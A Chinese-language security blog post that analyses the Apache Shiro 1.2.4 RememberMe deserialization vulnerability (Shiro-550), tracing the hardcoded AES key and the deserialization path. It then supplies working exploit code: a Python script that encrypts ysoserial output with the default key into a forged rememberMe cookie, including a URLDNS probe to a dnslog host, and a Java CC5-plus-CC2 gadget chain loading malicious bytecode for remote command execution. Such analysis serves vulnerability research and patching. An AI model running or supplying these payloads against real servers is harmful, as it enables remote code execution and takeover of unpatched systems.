Shiro550剖析

Shiro550

分析

参考:https://www.cnblogs.com/1vxyz/p/17572415.html

先来段复读吧

Apache Shiro框架提供了 RememberMe 功能,用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。因此攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞

在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,这就为伪造 cookie 提供了机会。只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞

环境:jdk8u65 && shiro1.2.4 && tomcat9.0.104
配置环境稍稍遇到了点麻烦 实际上就是得用别人编译好的war包加上自己装好maven依赖的源码来调试 目录在shiro-root/samples/web下面

重点看cookie(token) 入口在AbstractRememberMeManager::onSuccessfulLogin()

首先用isRememberMe()判断是否勾选RememberMe选项 然后步入rememberIdentity()

这边用多参重载了rememberIdentity() 最后是步入convetPrincipalsToBytes()

序列化其实没什么可说的 这个serialize就不解释了 直接到encrypt()

首先获取一个cipherService 这个默认是AES 后面调用encrypt之前 还需要getEncryptCipherKey 获取一个encryptionCipherKey

我们关心的是默认值 直接可从构造函数中管中窥豹
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
显然默认的AES密钥直接硬编码存在了代码工作区里

但是这里还有一个问题 我们序列化的到底是什么? 这里开个调试 断点打在第一个rememberIdentity

实际上只是一些账号的信息 例如凭据名字之类的

走完序列化流程 我们再来看看反序列化 主要注意数据是否可控

在看AbstractRememberMeManager这个类的时候 注意到convertBytesToPrincipals里面有个deserialze 而这实际上就是我们反序列化的入口

decrypt就是用decryptionCipherKey解密 不用看 我们步入deserialize

这里直接把deserialize讲完 然后再分析可控变量

注意到反序列化流程和以往的new ObjectInputStream.readObject()不同 这边是new了一个ClassResolvingObjectInputStream之后再强制转换 那么这会导致一个什么问题呢

ClassResolvingObjectInputStream是shiro自己实现的一个ObjectInputStream的继承类 可以看到重载的resolveClass()下 return 了一个 ClassUtils.forName() 而再看ObjectInputStream原来的resolveClass()

可以看到是 return 了一个Class.forName 那么这两个细微的区别会造成什么问题呢

这里直接给出结论 实际上ClassUtils.forName就不支持传入数组了 诶 那么这里很容易联想到CC2 这也正是我们后面要谈到的利用点

OK解决完反序列化 我们再来看看哪里调用了convertBytesToPrincipals和找到我们想要的可控参数

往上一步找到getRememberedPrincipals

bytes是我们需要的 跟进getRememberedSerialzedIdentity()

前面有些if就不截了 这里的问题是我们获取的Cookie是rememberMe吗?

可以看getCookie()这个方法 这个方法返回this.cookie 我们还是老样子 直接看构造函数是怎么给cookie赋值的

CookieRememberMeManager类下确实getCookie只会返回rememberMe字段的Cookie

所以我们就找到了可控的数据 就是Cookie: rememberMe=aaa

最后我们过一遍反序列化的流程

1
2
3
4
Cookie: rememberMe=$payload
bytes_undecrypt = Base64.decode($payload)
bytes = bytes_undecrypt.decrypt()
deserialize(bytes)

反向推数据格式 因此我们需要恶意序列化数据 -> AES特定key加密 -> base64编码

利用

URLDNS

基于原生态java 没什么限制 所以我们可以用这个来测试漏洞点 至于rce链子可以之后再找

这里的序列化数据就直接用ysoserial生成了 脚本想了想还是python辅助比较简单

AES摸了个好看懂的写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import subprocess
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import base64

def generate_payload(command):
popen = subprocess.Popen([r'java', '-jar', r'/Users/jednersaous/ysoserial-all.jar', 'URLDNS', command],stdout=subprocess.PIPE)
return popen.stdout.read()

def rememberMe(plaintext):
key_raw = "kPH+bIxk5D2deZiIxcaaaA=="
key = base64.b64decode(key_raw)

iv = get_random_bytes(AES.block_size)

plaintext_mod = pad(plaintext, AES.block_size)

cipher = AES.new(key, AES.MODE_CBC, iv)

ciphertext = cipher.encrypt(plaintext_mod)
ciphertext_str = base64.b64encode(iv + ciphertext).decode('utf-8')
return ciphertext_str

if __name__ == '__main__':
payload = rememberMe(generate_payload("http://xa26wa.dnslog.cn"))
print("[!] rememberMe: \n" + payload)

CC链

shiro1.2.4自带Commons-collections3.2.1

诶那么可能想用CC6来打 但是上面分析中提到deserialize其实是不接受数组的 因此传入Transformer[]数组的是不行的

那么如果他shiro用了Commons-collections4.0 我们就可以尝试CC2 CC4 这两个是可以不用Transformer数组实现的

但是指望一个一键部署的框架特意换成Commons-collections4.0 疑似是有点痴人说梦了

那么有没有shiro原生cc链的打法呢 有的 兄弟 有的

CC2 CC4用不了的原因是什么? TransformingComparator没有继承Serializable 无法序列化 但是后面的恶意类加载是通用的

CC2的恶意类加载更是没有用到数组 因此我们拿CC2的后半段 InvokerTransformer::transform()开始

那么我们就要去找Commons-collections3.2.1中有没有可序列化同时调用transform()的方法

什么? LazyMap.get() 对的对的

我们看看CC5的gadget chain

从最开始到LazyMap.get()

所以这里我们绝佳的思路就是CC5 + CC2

这里需要注意的是 在CC5中我们没有对LazyMap::get(key)中的key做调用

但是这里为了调用到InvokerTransformer::transform(templates) 我们必须要通过TiedMapEntry的key 将key传给LazyMap

这里我用的是反射修改 避免在实例化TiedMapEntry的时候就出现问题(但是我想了想应该也没问题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc5_cc2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","jed");

byte[] code = Files.readAllBytes(Paths.get("target/classes/evil.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);

setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);

setFieldValue(tiedMapEntry,"key",templates);
setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
// serialize(badAttributeValueExpException);
unserialize("sercc5_2.bin");
}

public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc5_2.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

将urldns的python脚本小改一手 把sercc5_2.bin恶意字节码读到输入就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import subprocess
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import base64

def generate_payload(command):
popen = subprocess.Popen([r'java', '-jar', r'/Users/jednersaous/ysoserial-all.jar', 'URLDNS', command],stdout=subprocess.PIPE)
return popen.stdout.read()

def bin_read(filepath):
f = open(filepath, "rb")
return f.read()

def rememberMe(plaintext):
key_raw = "kPH+bIxk5D2deZiIxcaaaA=="
key = base64.b64decode(key_raw)

iv = get_random_bytes(AES.block_size)

plaintext_mod = pad(plaintext, AES.block_size)

cipher = AES.new(key, AES.MODE_CBC, iv)

ciphertext = cipher.encrypt(plaintext_mod)
ciphertext_str = base64.b64encode(iv + ciphertext).decode('utf-8')
return ciphertext_str

if __name__ == '__main__':
# payload = rememberMe(generate_payload("http://xa26wa.dnslog.cn"))
payload = rememberMe(bin_read("./sercc5_2.bin"))
print("[!] rememberMe: \n" + payload)

效果展示 touch aaa开到tomcat里面去了

CB链

shiro1.2.4原生自带Commons-beanutils1.8.3

那就很简单了 直接打CB链就好了 这里笔者就不打了 想试试的可以自己试试
python脚本直接用CC的bin读取脚本就好


Shiro550剖析
http://example.com/2025/04/11/Shiro550剖析/
作者
Jednersaous
发布于
2025年4月11日
许可协议